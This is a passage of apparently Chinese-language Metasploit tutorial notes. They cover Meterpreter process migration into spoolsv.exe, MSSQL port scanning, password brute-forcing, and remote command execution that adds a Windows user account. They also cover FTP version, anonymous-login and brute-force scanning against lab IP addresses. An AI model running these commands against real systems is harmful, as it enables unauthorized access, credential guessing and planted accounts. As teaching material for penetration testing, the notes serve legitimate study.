msf post(windows/gather/enum_patches) > sessions -i 4
meterpreter > getpid
meterpreter > ps
meterpreter > migrate 828 # spoolsv.exe
meterpreter > background
msf post(windows/gather/enum_patches) > run

img

mssql 扫描

  • mssql 扫描端口

    • TCP 1422(动态端口)/ UDP 1434 (查询 TCP 端口号)
    • use auxiliary/scanner/mssql/mssql_ping
  • 爆破 mssql 密码

  • use auxiliary/scanner/mssql/mssql_login

  • 远程执行代码(获取数据库权限之后)

  • use auxiliary/admin/mssql/mssql_exec

    • set CMD net user user1 pass123 /ADD
  • mssql扫描端口

1
2
3
msf > use auxiliary/scanner/mssql/mssql_ping
msf auxiliary(scanner/mssql/mssql_ping) > set RHOSTS 10.10.10.142
msf auxiliary(scanner/mssql/mssql_ping) > run

FTP扫描

  • ftp 版本扫描

    • use auxiliary/scanner/ftp/ftp_version
    • use auxiliary/scanner/ftp/anonymous
    • use auxiliary/scanner/ftp/ftp_login
  • use auxiliary/scanner/ [tab]

  • Display all 479 possibilities? (y or n)

  • 查询版本信息

1
2
3
msf > use auxiliary/scanner/ftp/ftp_version
msf (scanner/ftp/ftp_version) > set RHOSTS 10.10.10.132
msf auxiliary(scanner/ftp/ftp_version) > run

img

  • 是否允许匿名登录

    1
    2
    3
    msf > use auxiliary/scanner/ftp/anonymous
    msf auxiliary(scanner/ftp/anonymous) > set RHOSTS 10.10.10.132
    msf auxiliary(scanner/ftp/anonymous) > run

img

  • 暴力破解

    1
    use auxiliary/scanner/ftp/ftp_login